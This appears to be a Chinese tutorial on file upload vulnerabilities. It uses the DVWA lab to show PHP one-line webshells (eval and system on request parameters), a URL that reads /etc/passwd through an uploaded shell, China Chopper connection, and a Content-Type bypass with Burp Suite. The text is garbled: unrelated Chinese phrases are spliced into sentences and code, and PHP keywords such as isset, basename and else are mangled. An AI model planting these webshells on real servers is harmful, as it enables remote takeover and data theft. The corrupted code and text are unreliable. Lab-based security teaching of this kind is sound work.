文件上传漏洞

前言

文件上传漏洞就是在web前端对用户上传的文件没有做过滤，攻击者利用此漏洞上传webshell，因此可以远程操控服务器。

webshell

小马：一句话木马也称为小马，即整个shell代码只有一行，一般是系统执行函数
大马：代码量和功能比小马多，一般都会进行二次编码加密，防止被安全防火墙/入侵系统检测到

1  #eval 使用php函数，例如phpinfo();2    <?php eval($_request['cmd']);?>3   http://192.168.152.147/dvwa/hackable/uploads/webshell2.php?cmd=phpinfo();

1 #system 使用linux系统命令，例如ls,cp,rm2 <?php system($_request['cmd']);?>3   http://192.168.152.147/dvwa/hackable/uploads/webshell3.php?cmd=cat /etc/passwd

中国菜刀

说明request是在网页端输入变量访问，post则是使用中国菜刀之类的工具连接，是c/s架构

1 <?php @eval($_post['cmd']);?>

环境部署

本实例使用dvwa作为靶场，owasp官网已经将该环境打包成ova文件，直接下载安装即可。

part 1。将dvwa安全级别设置为low。该级别对于上传的文件没有做限制，可以上传任意的文件。

1  <?php     if (ist($_post['upload'])) {              $target_path = dvwa_web_page_to_root."hackable/uploads/";             $target_path = $target_path . baname($_files['uploaded']['name']);             $uploaded_name = $_files['uploaded']['name'];             $uploaded_type = $_files['uploaded']['type'];             $uploaded_size = $_files['uploaded']['size'];              if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){                   if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {                                      echo '<pre>';                     echo 'your image was not uploaded.';                     echo '</pre>';                                        } el {                                      echo '<pre>';                     echo $target_path . ' succesfully uploaded!';                     echo '</pre>';                                          }             }             el{   怎么用电脑拍照片              echo '<pre>your image was not uploaded.</pre>';             }         } ?> 

1、访问，选择【upload】，上传一教研总结句话木马。上传成功后提示文件上传成功并显示文件路径

1 <?php @eval($_post['caidao']);?>

2、使用中国菜刀连接，如下图所示，输入一句话木马中的密码’caidao’

右键选择文件管理，即可进入网站文件管理后台。

part 2。将安全级别设置成medium。该级别对于上传的文件做了mime（多用途互联网邮件扩展）限制，只能上传在content-type为image/jpeg类型文件。当上传php脚本文件时，浏览器将拒绝上传此文件到后台服务器，因此需要使用burpsuite来绕过此限制。

查看文件源码。

 1  <?php 2     if (ist($_post['upload'])) { 3  4             $target_path = dvwa_web_page_to_root."hackable/uploads/"; 5             $target_path = $target_path . baname($_files['uploaded']['name']); 6             $uploaded_name = $_files['uploaded']['name']; 7             $uploaded_type = $_files['uploaded']['type']; 8             $uploaded_size = $_files['uploaded']['size']; 9 10             if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){11 12 13                 if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {14                 15                     echo '<pre>';16                     echo 'your image was not uploaded.';17                     echo '</pre>';18                     19                   } el {20                 21                     echo '<pre>';22                     echo $target_path . ' succesfully uploaded!';23                     echo '</p訇然寸断re>';24                卖炭翁原文     25                     }26             }27             el{28                 echo '<pre>your image was not uploaded.</pre>';29             }30         }31 ?> 

此处省去burpsuite的基本设置。上传文件前使用burp拦截数据包，此content-type改为image/jpeg，可以绕过此限制，将php文件上传到后台服务器，如图所示

part3，将安全级别设置为high，此级别将会对上传的文件后缀名进行检验。